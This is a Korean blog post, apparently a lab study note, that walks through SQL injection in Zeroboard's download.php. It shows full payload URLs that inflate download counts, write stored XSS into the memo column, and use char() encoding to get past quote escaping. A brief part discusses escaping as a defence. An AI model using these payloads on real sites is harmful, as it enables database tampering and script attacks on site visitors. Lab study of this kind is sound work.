티스토리 뷰


1. 다운로드 수 변경

# 다운로드를 누르면 링크로 연결되어 값이 넘어가게 된다.


그러나 이전에 살펴봤듯, download.php 파일을 열어보면


mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'");

이렇게 쿼리를 넘기고있다. 


따라서 변수 filenum에 해당되는 부분을 조작해주면 다운로드수가 변경될 수 있다.


우선 소스코드보기에서 download.php? 이하 부분을 복사한 뒤, URL상으로 루트경로 이후에 붙혀넣기 해줘서

쿼리를 조작할 수 있다.


http://100.100.100.110/zboard/download.php?id=vul&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=5&filenum=1=10000%23


위와같이 URL에 입력하게되면

# 쿼리상에 download1=10000 까지 입력이 된 이후 뒷부분은 #으로 주석처리가 된다.

즉, filenum=1 이후에 붙은 =10000이 download횟수를 결정하고, 그 이후의 %23은 URL에서의 주석처리인 #을 의미하기 때문에

그 이후의 쿼리는 주석처리가 되어 의미없게된다.






# 따라서 이렇게 다운로드 횟수가 변경되게 된다.






2. XSS 본문 삽입

위의 다운로드 취약점을 이용해서 다음과 같은 스크립트를 본문에 삽입 해 보도록 하자.


<script>alert('xss');</script>


먼저 스크립트를 본문에 삽입 할 것이므로, 본문의 내용이 어떤 컬럼에 저장되는지 파악하는것이 중요하다.

그 다음 update쿼리를 조작하면 된다.






# 본문이 memo 컬럼에 저장되는것을 알 수 있다.

그러면 위의 다운로드 수를 제어했던 방식과 동일하게 URL을 통해 서버로 update쿼리를 전송하여 값을 변경시켜주면 된다.






# 위와같이 쿼리에 입력이 되게끔 해 줄 수 있다.

기존에 시큐어코딩을통해 <script>를 차단해놨던 것을 이렇게 인젝션 방법을 사용하여 우회할 수 있다.






http://192.168.3.121/zboard/download.php?id=vul&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=16&filenum=1=10000, memo='<script>alert(\'XSS\');</script>'%23



이렇게 넣어주면 된다. 따라서 인젝션으로 시큐어코딩 결국 우회가 가능하다는 것을 알 수 있다.

WHERE 조건이 없기때문에 모든 파일이 첨부된 게시글의 정보가 변경되는데, 특정 게시글의 내용만 변경하려면

간단하게 WHERE 조건을 둬서 변경이 가능하다.



http://192.168.3.121/zboard/download.php?id=vul&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=16&filenum=1=10000, memo='<script>alert(\'XSS\');</script>' where no='51'%23


이런식으로 WHERE절을 추가하여 특정 게시글의 정보만 변경이 가능하다.






그럼 이제 이걸 막는방법에 대해서 알아보자.


1) numeric injection //filenum 같은부분

 - filenum 은 안에 DESC를 확인해보면 int 타입이기때문에 별다른 어려움 없이 인젝션이 가능하다.

2) string injection    //memo같은부분

 - memo는 text 타입이기때문(string)에 반드시 " 또는 ' 와 같은 quote로 감싸줘야한다.


즉, 문자열은 " 또는 ' 없이는 값을 입력할 수없다. 따라서 이걸 막아주면 된다.


php 5.3이상의 버전에서만 가능한 방법으로, String 인젝션만 막을수있는 magic_quote_gpc 라는설정이 있다.

gpc 란 get post cookie 의 약자이다. 

# magic_quotes_gpc 는 quote가 들어있으면 그앞에 escape sequence를 입력하여 quote를 무효화시킨다.






근데 그이후 버전부터는 위의 magic_quote_gpc 가 빠지고 공식 홈페이지 자체에서 

개발자가 직접 함수를 사용해 보안상 취약한 변수에 대한 검증을 거칠것을 권고한다.

왜냐면 모든 quote가 들어간 문자열에 대한 검사를 실행하여 escape sequence를 넣어주면 퍼포먼스가 매우 떨어지기때문이다. 






따라서 addcslashes와 같은 함수를 이용해서 개발자가 보안상 취약할 부분에만 변수에 대한 검증을 거칠 수 있다.






이와같은 방법을 사용하면 numeric의 경우는 해당이 안되지만, 문자열 같은경우 우회가 매우 곤란하게 된다.






이렇게 자동적으로 escape sequence가 붙는것을 또 우회할 수 있는 방법이 있다.

char() 함수를 이용하는것인데, 이 함수는 아스키 코드에 해당되는 문자를 바로 입력시켜준다.

그렇기떄문에 이걸 이용해서 escape sequence가 대입되는것을 우회할 수 있다.



<script> alert('xss by yuun');</script> 라는 문자열을 본문에 삽입하기위해 문자열 모두를 아스키코드로 변경해보자.

구글에 Char to ASCII 와 같은 검색어로 검색하면 다양한 사이트들이 나오는데 그중 한 곳을 이용하면 된다.


60 115 99 114 105 112 116 62 32 97 108 101 114 116 40 39 120 115 115 32 98 121 32 121 117 117 110 39 41 59 60 47 115 99 114 105 112 116 62 

이렇게 얻은 아스키코드 값을 본문에 삽입해보자.



http://192.168.3.200/zboard/download.php?id=vul&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=111&filenum=1=1000000, memo=char(60, 115, 99, 114, 105, 112, 116, 62, 32, 97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 32, 98, 121, 32, 121, 117, 117, 110, 39, 41, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62)%23


위와같이 URL로 전송하여 삽입이 가능하다.

중간에 0 또는 NULL값이 들어가면 문자열이 NULL직전 까지만 문자로 인식하기 때문에 확인할 필요가 있다.

댓글
댓글쓰기 폼
공지사항
Total
295,316
Today
12
Yesterday
276
링크
TAG
more
«   2022/09   »
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30  
글 보관함